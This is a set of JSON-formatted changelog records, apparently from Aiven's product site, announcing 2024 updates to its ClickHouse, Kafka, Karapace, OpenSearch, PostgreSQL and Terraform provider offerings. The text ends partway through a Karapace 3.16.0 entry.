{"__i18n_lang":"en","_createdAt":"2024-07-25T10:53:29Z","_id":"93e87eca-b4b7-4f60-8b06-cb8c97322d5c","_rev":"z6OxcVC1Q5vfHvoWbnl1yv","_type":"changelog","_updatedAt":"2024-07-30T14:48:45Z","changeType":"improved","description":[{"_key":"d03ece88f2b5","_type":"block","children":[{"_key":"5c1e9647c4750","_type":"span","marks":[],"text":"The "},{"_key":"5c1e9647c4751","_type":"span","marks":["code"],"text":"use_query_cache"},{"_key":"5c1e9647c4752","_type":"span","marks":[],"text":" setting is no longer supported in Aiven for ClickHouse®. Attempts at enabling it will result in an error."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-07-25T14:47:00.000Z","tags":[{"_key":"96b25d667711","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Support for the use_query_cache setting removed"} {"__i18n_lang":"en","_createdAt":"2024-07-31T12:06:02Z","_id":"c631fccc-af06-46ef-953a-c6a08e12ad36","_rev":"YaKEzcVhnb7P0fmfv69VT0","_type":"changelog","_updatedAt":"2024-07-31T12:06:02Z","changeType":"improved","description":[{"_key":"a7972a40cef8","_type":"block","children":[{"_key":"6052b5c02c390","_type":"span","marks":[],"text":"Aiven for Apache Kafka® has been updated to version 3.7.1 and is now the new default version. Upgrading to this version is recommended. To upgrade to this version, apply the "},{"_key":"6052b5c02c391","_type":"span","marks":["00af0730db2d"],"text":"service maintenance updates"},{"_key":"6052b5c02c392","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"00af0730db2d","_type":"link","href":"https://aiven.io/docs/platform/concepts/maintenance-window#maintenance-updates"}],"style":"normal"},{"_key":"21274d706280","_type":"block","children":[{"_key":"aea34ac7bd890","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"bb6b6ec0a792","_type":"block","children":[{"_key":"4a9c19335be70","_type":"span","marks":["strong"],"text":"Data loss issue ("},{"_key":"4a9c19335be71","_type":"span","marks":["ba95e53f1b28","strong"],"text":"KAFKA-16692"},{"_key":"4a9c19335be72","_type":"span","marks":["strong"],"text":"):"},{"_key":"4a9c19335be73","_type":"span","marks":[],"text":" Fixed a critical issue that caused ADD_PARTITIONS_TO_TXN requests to fail during upgrades from Kafka 3.5 to 3.6. With this update, you no longer need to disable "},{"_key":"4a9c19335be74","_type":"span","marks":["code"],"text":"transaction.partition.verification.enable"},{"_key":"4a9c19335be75","_type":"span","marks":[],"text":" before upgrading."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ba95e53f1b28","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-16692"}],"style":"normal"},{"_key":"53ca7f02bbd5","_type":"block","children":[{"_key":"20fda9d797c00","_type":"span","marks":["strong"],"text":"Tiered storage rebalances ("},{"_key":"20fda9d797c01","_type":"span","marks":["d83e0ca3cd7a","strong"],"text":"KAFKA-16890"},{"_key":"20fda9d797c02","_type":"span","marks":["strong"],"text":"):"},{"_key":"20fda9d797c03","_type":"span","marks":[],"text":" Fixed a bug affecting tiered storage rebalances, improving the performance and reliability of storage operations."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d83e0ca3cd7a","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-16890"}],"style":"normal"},{"_key":"bd162054a63d","_type":"block","children":[{"_key":"fe737909b4ab0","_type":"span","marks":[],"text":"For a comprehensive list of all bug fixes and improvements, refer to the "},{"_key":"fe737909b4ab1","_type":"span","marks":["db93c26cdcb9"],"text":"Apache Kafka 3.7.1 release notes"},{"_key":"fe737909b4ab2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"db93c26cdcb9","_type":"link","href":"https://downloads.apache.org/kafka/3.7.1/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2024-07-05T12:05:00.000Z","tags":[{"_key":"b43387f73a48","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka® now supports Apache Kafka version 3.7.1"} {"__i18n_lang":"en","_createdAt":"2024-08-05T10:31:27Z","_id":"b6214ab7-da8f-4f4d-97ed-f6c93f23f1e2","_rev":"msvVOwV0ly404Y5Jq5LCks","_type":"changelog","_updatedAt":"2024-08-06T13:42:59Z","changeType":"new","description":[{"_key":"56212da7d148","_type":"block","children":[{"_key":"1ebf2f6b00f50","_type":"span","marks":[],"text":"Now you can create dictionaries in Aiven for ClickHouse® to accelerate queries for better efficiency and performance. Currently supported sources are HTTP(s), upstream/remote ClickHouse, and Aiven for ClickHouse. Stay tuned for more sources to be added!"}],"markDefs":[],"style":"normal"},{"_key":"6ec8686714a7","_type":"block","children":[{"_key":"a763abda5460","_type":"span","marks":[],"text":"To learn more, see "},{"_key":"7d0f650d420e","_type":"span","marks":["110adaa9ce50"],"text":"the documentation"},{"_key":"ef01db866353","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"110adaa9ce50","_type":"link","href":"https://aiven.io/docs/products/clickhouse/howto/create-dictionary"}],"style":"normal"}],"publishedAt":"2024-07-08T10:31:00.000Z","tags":[{"_key":"822a375abe48","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Dictionaries in Aiven for ClickHouse® "} {"__i18n_lang":"en","_createdAt":"2024-08-14T15:38:41Z","_id":"fb311c83-a1be-4daf-8187-5fd3d7ac5832","_rev":"ZQ0u11pKTSx7hTYiaFVkjg","_type":"changelog","_updatedAt":"2024-08-14T15:38:41Z","changeType":"new","description":[{"_key":"13f579d23978","_type":"block","children":[{"_key":"26c467e1272a0","_type":"span","marks":[],"text":"The IBM MQ sink connector is now available for Aiven for Apache Kafka® Connect. This connector lets you route messages from Apache Kafka topics to IBM MQ queues.\nTo get started, see "},{"_key":"f29d872b9453","_type":"span","marks":["dba134d531f3"],"text":"Create an IBM MQ sink connector documentation"},{"_key":"87c7c7732653","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"dba134d531f3","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/howto/ibm-mq-sink-connector"}],"style":"normal"}],"publishedAt":"2024-08-14T15:38:00.000Z","tags":[{"_key":"f538889d39ce","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"IBM MQ sink connector now available"} {"__i18n_lang":"en","_createdAt":"2024-08-14T16:20:43Z","_id":"3cd3c4c5-46cb-42f8-bcbb-957999ee8dc5","_rev":"sHbBcT8XxHNdQpuCR7hqY4","_type":"changelog","_updatedAt":"2024-08-19T13:00:59Z","changeType":"improved","description":[{"_key":"36d02524875e","_type":"block","children":[{"_key":"c2735c0b83500","_type":"span","marks":[],"text":"Karapace has been updated to version 3.15.1, bringing important fixes and improvements that enhance usability, stability, and compatibility. Key changes include:\n\n"},{"_key":"f02947af3833","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"9a9b4f9e9ef1","_type":"block","children":[{"_key":"342c9a44b4050","_type":"span","marks":["strong"],"text":"Schema name handling"},{"_key":"342c9a44b4051","_type":"span","marks":[],"text":": Resolved issues with fully qualified paths versus simple name references in schemas."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"84d941a28eba","_type":"block","children":[{"_key":"883776965b140","_type":"span","marks":["strong"],"text":"Process stability"},{"_key":"883776965b142","_type":"span","marks":[],"text":": Enhanced exception handling in forked processes to prevent timeouts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a604cf082d83","_type":"block","children":[{"_key":"83f2eebc72010","_type":"span","marks":["strong"],"text":"Version logging"},{"_key":"83f2eebc72011","_type":"span","marks":[],"text":": Corrected version number formatting in "},{"_key":"1c5a1f5ebd16","_type":"span","marks":["code"],"text":"schema_reader.py"},{"_key":"c58d69ee4fc4","_type":"span","marks":[],"text":" for accurate logging and easier troubleshooting."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4c7f401e65e3","_type":"block","children":[{"_key":"08bac3123a2f0","_type":"span","marks":["strong"],"text":"Compatibility and updates"}],"markDefs":[],"style":"normal"},{"_key":"39161447bef2","_type":"block","children":[{"_key":"9fd02d0a1f160","_type":"span","marks":["strong"],"text":"Python 3.12 support"},{"_key":"9fd02d0a1f161","_type":"span","marks":[],"text":": Added compatibility with Python 3.12."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c05b55a891c0","_type":"block","children":[{"_key":"a564cdaef2a80","_type":"span","marks":["strong"],"text":"Confluent API update"},{"_key":"a564cdaef2a81","_type":"span","marks":[],"text":": Updated to the latest Confluent API specifications for continued compatibility and smoother integration with Confluent clients."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1cee4f110f86","_type":"block","children":[{"_key":"1774accca23c0","_type":"span","marks":[],"text":"For a complete list of fixes and detailed information, see the "},{"_key":"1774accca23c1","_type":"span","marks":["7d6d3ece8607"],"text":"Karapace release notes"},{"_key":"1774accca23c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7d6d3ece8607","_type":"link","href":"https://github.com/Aiven-Open/karapace/releases/tag/3.15.1"}],"style":"normal"}],"publishedAt":"2024-08-15T08:32:00.000Z","tags":[{"_key":"5f82b0a1c33e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace version 3.15.1"} {"__i18n_lang":"en","_createdAt":"2024-08-19T14:22:24Z","_id":"85246ae8-ba7e-4b8b-9fbb-799f27ca6032","_rev":"sHbBcT8XxHNdQpuCR7sDxg","_type":"changelog","_updatedAt":"2024-08-19T14:22:24Z","changeType":"new","description":[{"_key":"4852d0f68b28","_type":"block","children":[{"_key":"54cdd750128f0","_type":"span","marks":[],"text":"A new setting, "},{"_key":"54cdd750128f1","_type":"span","marks":["code"],"text":"plugins.rollup.search.search_all_jobs"},{"_key":"54cdd750128f2","_type":"span","marks":[],"text":", is now available in OpenSearch to address issues with incomplete search results when querying rollup indexes that contain data from multiple jobs. Enable this setting in Advanced Configurations for a complete search of all rollup data.\n\n"},{"_key":"54cdd750128f3","_type":"span","marks":["strong"],"text":"Note:"},{"_key":"54cdd750128f4","_type":"span","marks":[],"text":" Changing this setting is not recommended, as the default configuration is suitable for most use cases.\n\nFor more information, see "},{"_key":"e5a7a92f09f0","_type":"span","marks":["94e574881005"],"text":"Index rollup settings"},{"_key":"b5f0e3b53ea5","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"94e574881005","_type":"link","href":"https://aiven.io/docs/products/opensearch/reference/advanced-params"}],"style":"normal"}],"publishedAt":"2024-08-15T14:21:00.000Z","tags":[{"_key":"57c4d24d9729","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":" Improve search results with OpenSearch rollup indexes"} {"__i18n_lang":"en","_createdAt":"2024-08-13T10:49:33Z","_id":"88e702b4-c9be-4829-81c4-dd9a6d205142","_rev":"tdWBCkKa1Mk17zGO17Niea","_type":"changelog","_updatedAt":"2024-08-21T09:55:52Z","changeType":"new","description":[{"_key":"a53fe6e12393","_type":"block","children":[{"_key":"fe37b96e57a80","_type":"span","marks":[],"text":"Aiven for ClickHouse® now supports "},{"_key":"fe37b96e57a81","_type":"span","marks":["733fd8672439"],"text":"managed credentials integration"},{"_key":"fe37b96e57a82","_type":"span","marks":[],"text":", which allows you to to efficiently connect with external data sources by storing connection credentials in Aiven. Querying data is easier and quicker: you no longer need connection credentials in each query because they are accessed from Aiven storage."}],"markDefs":[{"_key":"733fd8672439","_type":"link","href":"https://aiven.io/docs/products/clickhouse/concepts/data-integration-overview#managed-credentials-integration"}],"style":"normal"},{"_key":"7380cab59c8e","_type":"block","children":[{"_key":"476a6441a06f0","_type":"span","marks":[],"text":"Managed credentials integration in Aiven for ClickHouse is supported with the following data source types: PostgreSQL®, MySQL®, ClickHouse®, and Amazon S3®."}],"markDefs":[],"style":"normal"},{"_key":"02fdc93ac772","_type":"block","children":[{"_key":"2b0b60e553e60","_type":"span","marks":[],"text":"Learn how to enable and use Aiven for ClickHouse managed credentials integration in "},{"_key":"2b0b60e553e61","_type":"span","marks":["757d3a7f7d8a"],"text":"our documentation"},{"_key":"2b0b60e553e62","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"757d3a7f7d8a","_type":"link","href":"https://aiven.io/docs/products/clickhouse/howto/data-service-integration"}],"style":"normal"}],"publishedAt":"2024-08-21T09:54:43.414Z","tags":[{"_key":"4010f6cc548a","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Managed credentials integration with Aiven for ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2024-07-29T10:14:07Z","_id":"6d9674b3-ae21-4708-ae47-ff26ee23586d","_rev":"g4AdlhnoQkF9DUwGBO0bkV","_type":"changelog","_updatedAt":"2024-08-21T09:39:53Z","changeType":"improved","description":[{"_key":"fdb830e25b61","_type":"block","children":[{"_key":"8f31ca9920f30","_type":"span","marks":[],"text":"Aiven for PostgreSQL® has been upgraded to latest minor versions 16.4, 15.8, 14.13, 13.16, and 12.20. This upgrade introduces fixes to previous versions, addressing issues with handling partitioned tables among other things. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"f8b67ecdb350","_type":"block","children":[{"_key":"f476f168d7c20","_type":"span","marks":[],"text":"See "},{"_key":"f476f168d7c21","_type":"span","marks":["6b70edaa8e2c"],"text":"PostgreSQL release notes"},{"_key":"f476f168d7c22","_type":"span","marks":[],"text":" for more details about the PostgreSQL® minor releases."}],"markDefs":[{"_key":"6b70edaa8e2c","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2024-08-15T09:39:00.000Z","tags":[{"_key":"e4525c7dd320","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® upgraded to 16.4, 15.8, 14.13, 13.16, and 12.20"} {"__i18n_lang":"en","_createdAt":"2024-09-02T11:48:50Z","_id":"6bff0315-5520-4d2e-9318-f1c6d1f25045","_rev":"uoxN7hjTZfWhT8KF3FJXIM","_type":"changelog","_updatedAt":"2024-09-02T11:51:06Z","changeType":"improved","description":[{"_key":"2f171bf901ef","_type":"block","children":[{"_key":"bdac3cd4d9e80","_type":"span","marks":[],"text":"By using "},{"_key":"bdac3cd4d9e81","_type":"span","marks":["e95e031ba843"],"text":"managed credentials integration"},{"_key":"bdac3cd4d9e82","_type":"span","marks":[],"text":", now you can create dictionaries in Aiven for ClickHouse® with remote PostgreSQL®, remote MySQL®, or remote ClickHouse as sources. The sources supported so far (HTTP(s), remote ClickHouse, and Aiven for ClickHouse) don’t need the "},{"_key":"bdac3cd4d9e83","_type":"span","marks":["6320aa41e353"],"text":"managed credentials integration"},{"_key":"bdac3cd4d9e84","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"e95e031ba843","_type":"link","href":"https://aiven.io/docs/products/clickhouse/concepts/data-integration-overview#managed-credentials-integration"},{"_key":"6320aa41e353","_type":"link","href":"https://aiven.io/docs/products/clickhouse/concepts/data-integration-overview#managed-credentials-integration"}],"style":"normal"},{"_key":"ee31e4234e98","_type":"block","children":[{"_key":"dd4960b649ef0","_type":"span","marks":[],"text":"To learn more about using dictionaries in Aiven for ClickHouse, see "},{"_key":"dd4960b649ef1","_type":"span","marks":["ea64e40ec873"],"text":"the documentation"},{"_key":"dd4960b649ef2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"ea64e40ec873","_type":"link","href":"https://aiven.io/docs/products/clickhouse/howto/create-dictionary"}],"style":"normal"}],"publishedAt":"2024-08-21T10:31:00.000Z","tags":[{"_key":"822a375abe48","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"External sources supported for dictionaries in Aiven for ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2024-08-14T16:18:36Z","_id":"397f54b5-341b-497a-9553-fbe547b4204e","_rev":"EyMM3FfV3Ih5n1NWrhNjpb","_type":"changelog","_updatedAt":"2024-09-04T19:28:39Z","changeType":"improved","description":[{"_key":"16a509520cf2","_type":"block","children":[{"_key":"140d6bb7abd80","_type":"span","marks":[],"text":"Aiven for Apache Kafka® MirrorMaker 2 has been updated to version 3.7.1. This release includes important bug fixes and performance improvements that enhance data replication between Kafka clusters."}],"markDefs":[],"style":"normal"},{"_key":"87a14728a850","_type":"block","children":[{"_key":"5acd3a15a15a0","_type":"span","marks":["strong"],"text":"Improvements"}],"markDefs":[],"style":"normal"},{"_key":"6c24834179f7","_type":"block","children":[{"_key":"bb33d6b4c8d80","_type":"span","marks":[],"text":"Improved the handling of "},{"_key":"8cfba1554b3c","_type":"span","marks":["code"],"text":"MirrorCheckpointTask"},{"_key":"c2cfc11a4862","_type":"span","marks":[],"text":" restarts to prevent permanent interruptions in offset translation ("},{"_key":"bb33d6b4c8d81","_type":"span","marks":["af913a7aac24"],"text":"KAFKA-15905"},{"_key":"bb33d6b4c8d82","_type":"span","marks":[],"text":")."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"af913a7aac24","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-15905"}],"style":"normal"},{"_key":"235c13a8c123","_type":"block","children":[{"_key":"46f66a4455df0","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"6e6ee537cce8","_type":"block","children":[{"_key":"686fe94f4dbf0","_type":"span","marks":[],"text":"Fixed an issue where the "},{"_key":"6c85bc566bcc","_type":"span","marks":["code"],"text":"auto.offset.reset=latest"},{"_key":"f63fd6c6af18","_type":"span","marks":[],"text":" configuration did not function as expected, ensuring topics are read from the latest offset ("},{"_key":"686fe94f4dbf1","_type":"span","marks":["21d89dc1558c"],"text":"KAFKA-13988"},{"_key":"686fe94f4dbf2","_type":"span","marks":[],"text":")."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"21d89dc1558c","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-13988"}],"style":"normal"},{"_key":"7aec16befc6f","_type":"block","children":[{"_key":"58516984ad600","_type":"span","marks":[],"text":"Addressed a potential null pointer exception (NPE) in "},{"_key":"f9e06b0cb868","_type":"span","marks":["code"],"text":"MirrorCheckpointTask"},{"_key":"18803530753b","_type":"span","marks":[],"text":" ("},{"_key":"58516984ad601","_type":"span","marks":["273bbdf60b43"],"text":"KAFKA-15607"},{"_key":"58516984ad602","_type":"span","marks":[],"text":")."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"273bbdf60b43","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-15607"}],"style":"normal"},{"_key":"7faad8b72980","_type":"block","children":[{"_key":"e3bfc3990b470","_type":"span","marks":[],"text":"Resolved a problem where the first checkpoint was not emitted until the consumer group had fully caught up ("},{"_key":"e3bfc3990b471","_type":"span","marks":["7db0742a4b7d"],"text":"KAFKA-16622"},{"_key":"e3bfc3990b472","_type":"span","marks":[],"text":")."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7db0742a4b7d","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-16622"}],"style":"normal"},{"_key":"3caafcefbea6","_type":"block","children":[{"_key":"f98bf5c252dd0","_type":"span","marks":[],"text":"For further details and updates, see the "},{"_key":"f98bf5c252dd1","_type":"span","marks":["085af1990205"],"text":"Apache Kafka release notes"},{"_key":"f98bf5c252dd2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"085af1990205","_type":"link","href":"https://downloads.apache.org/kafka/3.7.1/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2024-08-19T19:28:00.000Z","tags":[{"_key":"7d44910562f5","_ref":"62cedd51-63b9-476e-8e2e-9076cef60562","_type":"service"}],"title":"Aiven for Apache Kafka® MirrorMaker 2 version 3.7.1"} {"__i18n_lang":"en","_createdAt":"2024-09-06T09:24:14Z","_id":"0c07203b-07de-4cc7-b60d-0503474c3f23","_rev":"eaCZ7mIhmiYZX5KGqKIbLe","_type":"changelog","_updatedAt":"2024-09-06T09:24:14Z","changeType":"new","description":[{"_key":"8be5f818fc1f","_type":"block","children":[{"_key":"01c3df237844","_type":"span","marks":[],"text":"Aiven for Apache Kafka® has been upgraded to version 3.8. This update includes various improvements and bug fixes, enhancing the overall performance, security, and reliability of your Apache Kafka clusters.\nFor more information, see "},{"_key":"2afae13052b7","_type":"span","marks":["76ee54f6f186"],"text":"Apache"},{"_key":"a37c6de74eff","_type":"span","marks":[],"text":" "},{"_key":"e0ba8163436f","_type":"span","marks":["76ee54f6f186"],"text":"Kafka® 3.8 release notes"},{"_key":"426e3f17dcd7","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"76ee54f6f186","_type":"link","href":"https://downloads.apache.org/kafka/3.8.0/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2024-09-06T09:24:00.000Z","tags":[{"_key":"659ffbf6c31d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka® upgraded to 3.8 "} {"__i18n_lang":"en","_createdAt":"2024-09-17T16:06:52Z","_id":"1b5f6de4-6e06-45fd-9213-9840d09abf8b","_rev":"qobFP6o3d5Cfo6v5i0zojY","_type":"changelog","_updatedAt":"2024-09-23T13:24:53Z","changeType":"new","description":[{"_key":"d68c1cae6d2b","_type":"block","children":[{"_key":"1592229106d10","_type":"span","marks":[],"text":"This version supports setting a description and owner group for a "},{"_key":"1592229106d11","_type":"span","marks":["dc34d58ece56"],"text":"Kafka topic"},{"_key":"1592229106d12","_type":"span","marks":[],"text":". Other additions in this release include:"}],"markDefs":[{"_key":"dc34d58ece56","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/kafka_topic"}],"style":"normal"},{"_key":"55e228abebee","_type":"block","children":[{"_key":"773a0bcc13620","_type":"span","marks":["code"],"text":"prefix_path_depth"},{"_key":"e9aedb100d3c","_type":"span","marks":[],"text":" attribtue to "},{"_key":"3852af0630a8","_type":"span","marks":["code"],"text":"kafka_user_config.kafka_connect_secret_providers.vault"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b63a4e86d8e2","_type":"block","children":[{"_key":"a069e7ea347d0","_type":"span","marks":["code"],"text":"backup_hour"},{"_key":"d7c90c3ad200","_type":"span","marks":[],"text":" and "},{"_key":"7d6534662238","_type":"span","marks":["code"],"text":"backup_minute"},{"_key":"d9c89c755c32","_type":"span","marks":[],"text":" to "},{"_key":"a069e7ea347d1","_type":"span","marks":["ff88eaf9aa6a","code"],"text":"redis_user_config"},{"_key":"a069e7ea347d2","_type":"span","marks":[],"text":" and "},{"_key":"a069e7ea347d3","_type":"span","marks":["7a6dae94b48e","code"],"text":"valkey_user_config"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ff88eaf9aa6a","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/redis"},{"_key":"7a6dae94b48e","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/valkey"}],"style":"normal"},{"_key":"3be8e8d651d9","_type":"block","children":[{"_key":"133c8cc7c99b0","_type":"span","marks":[],"text":"user configuration options for "},{"_key":"a6b7888fae96","_type":"span","marks":["code"],"text":"external_s3"},{"_key":"51cb0f26352f","_type":"span","marks":[],"text":", "},{"_key":"4c4aaae2ce9c","_type":"span","marks":["code"],"text":"external_clickhouse"},{"_key":"85230f355e9b","_type":"span","marks":[],"text":", and "},{"_key":"7697aec3a966","_type":"span","marks":["code"],"text":"external_mysql"},{"_key":"23197a728849","_type":"span","marks":[],"text":" "},{"_key":"133c8cc7c99b1","_type":"span","marks":["944ca0cf84cf"],"text":"integration endpoint"},{"_key":"133c8cc7c99b2","_type":"span","marks":[],"text":" types"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"944ca0cf84cf","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/service_integration_endpoint"}],"style":"normal"},{"_key":"c4d34fd2c8fc","_type":"block","children":[{"_key":"78be8a25395f0","_type":"span","marks":[],"text":"This releae also increases the polling timeout for "},{"_key":"18027fee4bc3","_type":"span","marks":["code"],"text":"aiven_kafka_connector"},{"_key":"e6606bbfad1f","_type":"span","marks":[],"text":". For more details on other fixes and updates, view the complete Aiven Provider for Terraform "},{"_key":"78be8a25395f1","_type":"span","marks":["a11bb1d5bf87"],"text":"changelog"},{"_key":"78be8a25395f2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a11bb1d5bf87","_type":"link","href":"https://github.com/aiven/terraform-provider-aiven/blob/main/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2024-09-17T16:05:00.000Z","tags":[{"_key":"1170b7a1f333","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 4.25.0 now available"} {"__i18n_lang":"en","_createdAt":"2024-08-13T10:02:49Z","_id":"47379bc7-4573-43ef-af56-cc1da11bb12b","_rev":"YWHkZRhDz94HWGkESlnVpM","_type":"changelog","_updatedAt":"2024-09-19T10:34:05Z","changeType":"new","description":[{"_key":"d2a52abc10b6","_type":"block","children":[{"_key":"07c4e8a78d660","_type":"span","marks":["acfd2a27bdbd"],"text":"Tiered storage in Aiven for ClickHouse®"},{"_key":"177911fa81aa","_type":"span","marks":[],"text":" is now ready for production use. This feature allows organizing and storing data in two tiers. The data is automatically moved to an appropriate tier based on your database's local disk usage. By enabling and properly configuring tiered storage, you can use storage resources efficiently and, therefore, significantly reduce storage costs of your Aiven for ClickHouse service."}],"markDefs":[{"_key":"acfd2a27bdbd","_type":"link","href":"https://aiven.io/docs/products/clickhouse/concepts/clickhouse-tiered-storage"}],"style":"normal"},{"_key":"0a2bc2593daa","_type":"block","children":[{"_key":"852d61102339","_type":"span","marks":[],"text":"Aiven for ClickHouse tiered storage is supported on the following cloud platforms: Microsoft Azure, AWS, Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"5dabf26be454","_type":"block","children":[{"_key":"af2df5babe740","_type":"span","marks":[],"text":"Learn how to enable and configure Aiven for ClickHouse® tiered storage in "},{"_key":"af2df5babe741","_type":"span","marks":["23d591140b18"],"text":"our documentation"},{"_key":"af2df5babe742","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"23d591140b18","_type":"link","href":"https://aiven.io/docs/products/clickhouse/howto/list-tiered-storage"}],"style":"normal"}],"publishedAt":"2024-09-19T09:54:00.000Z","tags":[{"_key":"67ecd9dc1bb4","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Tiered storage in Aiven for ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2024-09-06T12:37:35Z","_id":"d0b47047-3953-4e61-897c-afc914dd6906","_rev":"YWHkZRhDz94HWGkESm1vFP","_type":"changelog","_updatedAt":"2024-09-19T14:30:32Z","changeType":"improved","description":[{"_key":"e5ddcb889c2f","_type":"block","children":[{"_key":"e24bda513aa0","_type":"span","marks":[],"text":"You now have the option to set the replication factor (`number_of_replicas`) to 0, which disables replica shards and reduces storage usage. However, this setting increases the risk of data loss if a node fails. It is generally not recommended for most OpenSearch use cases. Be sure to fully understand the risks and benefits before proceeding.\n\n"},{"_key":"c09efc052d48","_type":"span","marks":["strong"],"text":"Note"},{"_key":"38e097c3d92f","_type":"span","marks":[],"text":": Before enabling this configuration, consult with your account manager to discuss your use case and agree on the reduced SLA. After that, Aiven support can enable the option for you.\n\nFor more details, see the "},{"_key":"9b91d00f8ea8","_type":"span","marks":["2349fec2403f"],"text":"Replication factors in Aiven for OpenSearch"},{"_key":"23f8ace91c25","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"2349fec2403f","_type":"link","href":"https://aiven.io/docs/products/opensearch/concepts/index-replication"}],"style":"normal"}],"publishedAt":"2024-09-06T12:39:00.000Z","tags":[{"_key":"c10c4ebbf9e2","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Replication factor setting in Aiven for OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2024-09-12T14:04:05Z","_id":"386c9f8c-2e99-456f-93b4-64ae2981052f","_rev":"1OyjLnRDvuzO2Q4GjoPlOS","_type":"changelog","_updatedAt":"2024-09-19T13:31:47Z","changeType":"improved","description":[{"_key":"50278713de8b","_type":"block","children":[{"_key":"620484e8556d0","_type":"span","marks":[],"text":"Karapace has been updated to version 3.16.0, adding new features and improvements that enhance reliability and monitoring.\n\nKey changes include:"}],"markDefs":[],"style":"normal"},{"_key":"16719ee563f3","_type":"block","children":[{"_key":"259ba7b1f0b70","_type":"span","marks":["strong"],"text":"Schema reader behavior"},{"_key":"259ba7b1f0b71","_type":"span","marks":[],"text":": Karapace can be configured to shut down if it finds corrupt entries in the "},{"_key":"259ba7b1f0b72","_type":"span","marks":["code"],"text":"_schemas"},{"_key":"259ba7b1f0b73","_type":"span","marks":[],"text":" topic. By default, Karapace skips these entries. When configured to shut down, any error while consuming data from the "},{"_key":"259ba7b1f0b74","_type":"span","marks":["code"],"text":"_schemas"},{"_key":"259ba7b1f0b75","_type":"span","marks":[],"text":" topic will cause Karapace to stop."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e0372e1ea26b","_type":"block","children":[{"_key":"37c59a317eb00","_type":"span","marks":["strong"],"text":"Shutdown metrics"},{"_key":"37c59a317eb01","_type":"span","marks":[],"text":": Karapace now includes a metric to monitor how often it shuts down. This helps you track shutdown events more 